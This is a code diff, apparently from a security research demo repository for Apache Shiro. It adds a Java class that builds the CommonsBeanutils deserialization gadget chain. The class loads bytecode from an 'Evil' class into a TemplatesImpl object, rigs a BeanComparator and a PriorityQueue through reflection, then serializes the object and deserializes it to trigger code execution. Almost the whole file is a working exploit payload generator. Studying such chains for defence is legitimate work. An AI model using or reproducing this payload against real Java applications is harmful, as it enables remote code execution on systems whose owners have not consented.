|
| 1 | +package summersec.shirodemo.Payload; |
| 2 | + |
| 3 | +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
| 4 | +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; |
| 5 | +import javassist.ClassPool; |
| 6 | +import org.apache.commons.beanutils.BeanComparator; |
| 7 | + |
| 8 | +import java.io.ByteArrayInputStream; |
| 9 | +import java.io.ByteArrayOutputStream; |
| 10 | +import java.io.ObjectInputStream; |
| 11 | +import java.io.ObjectOutputStream; |
| 12 | +import java.lang.reflect.Field; |
| 13 | +import java.math.BigInteger; |
| 14 | +import java.util.PriorityQueue; |
| 15 | + |
| 16 | +/** |
| 17 | + * @ClassName: CommonsBeanutils |
| 18 | + * @Description: TODO |
| 19 | + * @Author: Summer |
| 20 | + * @Date: 2021/5/23 10:36 |
| 21 | + * @Version: v1.0.0 |
| 22 | + * @Description: |
| 23 | + **/ |
| 24 | +public class CommonsBeanutils { |
| 25 | + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { |
| 26 | + Field field = obj.getClass().getDeclaredField(fieldName); |
| 27 | + field.setAccessible(true); |
| 28 | + field.set(obj, value); |
| 29 | + } |
| 30 | + |
| 31 | + public static void main(String[] args) throws Exception { |
| 32 | + TemplatesImpl obj = new TemplatesImpl(); |
| 33 | + setFieldValue(obj, "_bytecodes", new byte[][]{ |
| 34 | + ClassPool.getDefault().get(Evil.class.getName()).toBytecode() |
| 35 | + }); |
| 36 | + setFieldValue(obj, "_name", "HelloTemplatesImpl"); |
| 37 | + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); |
| 38 | + |
| 39 | + final BeanComparator comparator = new BeanComparator(); |
| 40 | + final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); |
| 41 | + // stub data for replacement later |
| 42 | + queue.add(1); |
| 43 | + queue.add(1); |
| 44 | + |
| 45 | + setFieldValue(comparator, "property", "outputProperties"); |
| 46 | + setFieldValue(queue, "queue", new Object[]{obj, obj}); |
| 47 | + |
| 48 | + ByteArrayOutputStream barr = new ByteArrayOutputStream(); |
| 49 | + ObjectOutputStream oos = new ObjectOutputStream(barr); |
| 50 | + oos.writeObject(queue); |
| 51 | + oos.close(); |
| 52 | + |
| 53 | + System.out.println(barr); |
| 54 | + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); |
| 55 | + Object o = (Object)ois.readObject(); |
| 56 | + } |
| 57 | +} |
0 commit comments